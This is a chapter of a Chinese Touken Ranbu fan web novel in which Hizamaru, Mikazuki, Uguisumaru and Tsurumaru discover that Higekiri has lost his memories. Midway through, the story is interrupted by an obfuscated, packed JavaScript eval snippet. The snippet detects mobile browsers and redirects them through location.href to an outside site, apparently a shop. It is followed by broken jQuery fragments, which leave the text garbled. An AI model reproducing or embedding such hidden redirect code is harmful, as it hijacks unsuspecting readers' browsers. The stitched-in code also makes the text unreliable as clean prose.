26.失去本体刀的髭切

作品:《请努力活下去吧!coser大人!

    “不,请等一下,这已经完全不止是冷遇的范围了吧?难道膝丸殿没有想过投诉给时政吗?”


    这下山姥切国广完全拦不住了,铃兰着急地询问出声,不难看出她对刀剑们的在意。山姥切国广在一旁着急地不知所措,对自家审神者毫不配合的态度非常头疼。


    “……没有。”膝丸尴尬地回复,看得出来,他本来没打算把这件事说出来。


    因为兄长并没有去到他的本丸,而膝丸本刃对冷遇也并不怎么在意,所以也就完全没想过做这种事。


    铃兰只觉得一股气血直冲脑门,忍不住扶额。


    刀剑男士们对在自己身上发生的事情包容度还是太高了,除非恶劣到连他们都无法忍受,否则只要这样的对待没有发生在家人身上,基本就不会有什么反抗的想法。


    如果付丧神们能更多地在意一点自己,搜查队的工作难度一定会减轻很多的。


    “那髭切的本体?”


    “我不知道。”膝丸同样迷茫地回答。“兄长从来没在我面前暴露过这件事,是因为当时被时间溯行军追上了,才不得不告诉我的。”


    令人头疼的状况。


    铃兰不再多说,直接向山姥切国广安排下去,让他给髭切和膝丸安排了临时安顿的部屋,就让膝丸暂时离去了,毕竟膝丸很担心髭切吧。


    “啊,忘记问膝丸的本丸编号了。”铃兰后知后觉。


    “就算问出来了,也没有时间去调查吧。”山姥切国广有些赌气地看着手中的文件。“最近的搜查工作已经都排满了。”


    ……


    事情接连发生,密集到让人对时间的感知都不太明确,膝丸直到走出天守阁时才发现时间已经到了晚上。


    膝丸看着降临的夜幕有些疲惫,但想到还受着伤的兄长又打起精神,可不能让兄长看见这幅样子啊。


    他匆忙地赶回了修复室,却没找到髭切的身影,不仅如此,连鹤丸国永和药研藤四郎也不知所踪。


    兄长呢?!深知髭切已经有过一次先例的膝丸指甲深深掐紧掌心,咬住了发白的嘴唇,毫不犹豫地转身又一次踏上了寻找兄长的道路。


    修复室内间的药研藤四郎听到声响,走出后却只能看见膝丸留下的背影:?


    于是铃兰的本丸内出现了这样的奇观。


    一振完全不认识的膝丸游荡在本丸内四处寻找着兄长。


    另一边,被膝丸满本丸到处寻找的髭切此时正在老头快乐桌前。


    “不,我还暂时不算老头吧?”髭切发出了抗议。


    “是呢。”


    “确实啊。”


    三日月宗近和莺丸附和着回话。


    两刃原本对髭切还带着些警惕,所以三日月宗近工作结束后就马不停蹄地拉着莺丸,把髭切带出来开了这个小型茶会。没办法,老爷爷在这种时候也不得不靠谱起来了呢。


    毕竟能被折腾到这么狼狈的髭切听起来实在有些反常啊。


    为此,三日月宗近还贡献了一大把加速符,否则把浑身是血的刃拉出来谈话也实在是太不人性化了。


    结果现在和髭切面对面交谈起来,却有种在欺负小孩的既视感。


    这振髭切完全没有他们所熟悉的千年老刀的深沉,面对他们所发出的试探也似乎完全没意识到真正的意思,总是按照字面意思去进行理解。


    “膝丸很担心你呢。”莺丸盯着手里的茶杯状似不经意地搭话。


    “是呢……”髭切毫不经过思考地回复。


    就像这样。


    两刃一时甚至不清楚髭切是不是在故意装傻,不知道要怎么将对话进行下去。


    髭切顺手端起了桌上的茶送到嘴边,两刃对这样的生活习以为常,都没反应过来这是刚泡好的茶。


    “好烫!”髭切被烫的差点直接把手中的茶杯抛出去,好在烛台切光忠当初对他的教导让他艰难地控制住了本能,至少还把茶杯好好地放回了桌子上。


    三日月宗近和莺丸就这么眼睁睁地看着髭切捂住了嘴,缓缓弯下腰栽了下去,憋得脸都红了也没把嘴里滚烫的茶水吐出来。


    ……饶是这两个经验丰富的心机老刃也被眼前这一幕惊呆了,连端着茶水的手都颤了颤。


    实在是眼前这一幕太有冲击力了。


    真是强有力的证明呢,如果正常的髭切应该做不出这种有损形象的事,千年老刀的形象包袱还真是有用的辨别方式。


    三日月宗近默默上前给被烫成一团的髭切拍了拍背。


    膝丸就是这个时候找到髭切的,他看着这幅场景发出了一声惊天动地的惨叫。


    “兄长——!!”


    不要叫的好像兄长死了一样啊!!髭切在内心咆哮,但嘴上却腾不出空吐槽。


    实在太熟悉了,总觉得每个和他关系亲近的刃不是在惨叫就是在惨叫的路上。


    髭切被这声惨叫吓得一噎,瞬间咳得停不下来,赶忙伸出手制止膝丸,好不容易才终于把嘴里的茶水咽下去。


    舌头……好疼!


    莺丸默默地递上了凉水。


    膝丸左看看右看看,确定髭切已经平复下来了才敢开口。


    “兄长……怎么又自己一个人跑出来?”他声音里带着明显的担忧,髭切想到前几日才发生过的事,听着这句话也不免稍微有些心虚了。


    “应该不是一个人吧?”莺丸的声音轻飘飘地传来。


    髭切有些意外莺丸竟然会在他之前开口,诧异地看了过去,但也没让莺丸的话落地。


    “啊……嗯,别在意嘛,伤都完全好了哦?”髭切顺从地向着膝丸展示,原本被贯穿的地方已经恢复如初了。“现在放心了吧?”


    “是。”


    “感谢两位帮我照看兄长。”膝丸明显比髭切要更清楚这其中的弯弯绕绕,向着三日月宗近和莺丸浅浅躬身。


    收到了感谢的两刃却只觉得心情复杂。


    其实他们两个完全没做什么呢。


    既然他们所习惯的试探不管用了,那么果然最好还是直来直去一点好吧?


    “膝丸殿,你对这振髭切殿身上的异常应该清楚吧?”想通了这一点,三日月宗近想话语毫不委婉,直接就向着重点问去。


    “……你想知道什么?”膝丸稍稍提起了些警惕。


    三日月宗近并不在意地笑了笑,用那双带着弯月的双眼静静地看着膝丸。


    “嘛,也不是什么很难回答的事,只是有些异常实在是不能忽视啊。”三日月宗近垂下眼眸。


    “如果不搞清楚的话,是没办法帮到你们的吧?”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16755389|188817||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    现场的气氛凝固下来,几刃心中各有盘算,都没有试图打破沉寂的氛围。


    “那个啊……几位是不是都忘了一件事?”髭切突然插入话题。“明明可以直接问我的吧?”


    在场的刃都有些无奈。


    在领略过髭切当前的状态后,几刃自然是都不想把这些弯弯绕绕放在本人面前的,一来不知道髭切是否愿意配合,二来髭切自己记不记得都不好说。


    要是再刺激到髭切的记忆,他们几个可都没办法解决,没想到髭切这么积极。


    算了,也怪他们非要在当事人面前谈论这种事。


    “如果是好奇记忆的话,没有哦。”


    “好惊讶的表情,我应该还没有笨到那种程度吧?”髭切毫不在意地说出了他们想知道的信息,几刃却丝毫没有感到轻松。


    无他,能令刀剑付丧神失去记忆的手段不多,偏偏已知的每一种都残酷至极,说真的,他们有些想象不到或是不敢相信,连髭切都被压制成这样,对方的手段该有多强大和残忍。


    哪怕是早就意识到这一点的膝丸,在被髭切彻底戳破后也露出了难以忍耐的表情。


    髭切看着众刃的反应有些意外,但在稍加思考后就明白了其中缘由,并突然意识到了一件事。


    ……什么啊,失忆在刀剑们的世界里竟然是这么残酷的事情吗?那他后来做的事还真是……连他自己都看不下去了。光坊他们当时原来有藏着这么重的心事吗?也不知道是那时候的他没注意到,还是伊达组的演技真的好到一点馅都没露出来。


    不过现在还有机会改变吧。


    虽然没办法倒流时光改变鹤丸,但作为髭切的他现在还是能做些什么的。


    髭切毫不犹豫地出声打断了众刃的思绪。


    “那些东西已经完全不记得了哦。”


    ……诶?


    膝丸意外地抬起头看向髭切。


    “就是说,包括那些不知道究竟是不是痛苦的回忆,已经几乎全部都不记得了。


    我现在记得的,只有这几天和膝丸一起度过的时间,所以说……别露出这么沉重的表情了吧?”


    短短几句话暴露出了超大的信息量啊。


    膝丸虽然很感动,但注意力时刻放在髭切身上的他也注意到了一件事。


    髭切记得的,只有和他在一起的这几天,也就是他当时所见到的髭切,是真正记忆一片空白的状态。


    那他当时没反应过来时对髭切做的?!


    膝丸震惊地看向髭切。


    ……肯定吓到兄长了吧。


    髭切看着膝丸的表情变化,也知道这家伙的脑回路超前,肯定又朝着他预料不到的方向狂奔出去了。真是的,明明本意是想安慰膝丸啊。


    “说的很不错啊!看起来完全不需要担心嘛!”膝丸还没来得及回复,从一旁突然传来了一道意外的声音。髭切闭着眼睛都知道这是谁,毕竟前段时间他还能天天听到这个声线从他嘴里发出来。


    “哦呀,鸟丸?从哪里冒出来的?”他还是挺乐意和鹤丸国永说话的,毕竟是自己上一个身份的正主,再加上当时万屋碰到的那个鹤丸国永……


    ……不对。


    这家伙身上的灵力波动,不就是他作为鹤丸时认识的那个鹤丸国永吗?